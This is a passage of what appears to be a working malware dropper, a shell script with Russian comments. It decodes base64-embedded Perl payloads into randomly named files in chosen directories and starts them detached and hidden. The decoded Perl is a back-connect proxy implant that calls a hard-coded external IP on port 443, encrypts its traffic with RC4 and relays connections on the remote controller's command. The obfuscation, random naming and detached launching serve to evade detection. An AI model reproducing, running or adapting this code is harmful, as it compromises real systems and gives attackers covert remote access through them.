IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #3 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #3 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 4 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl 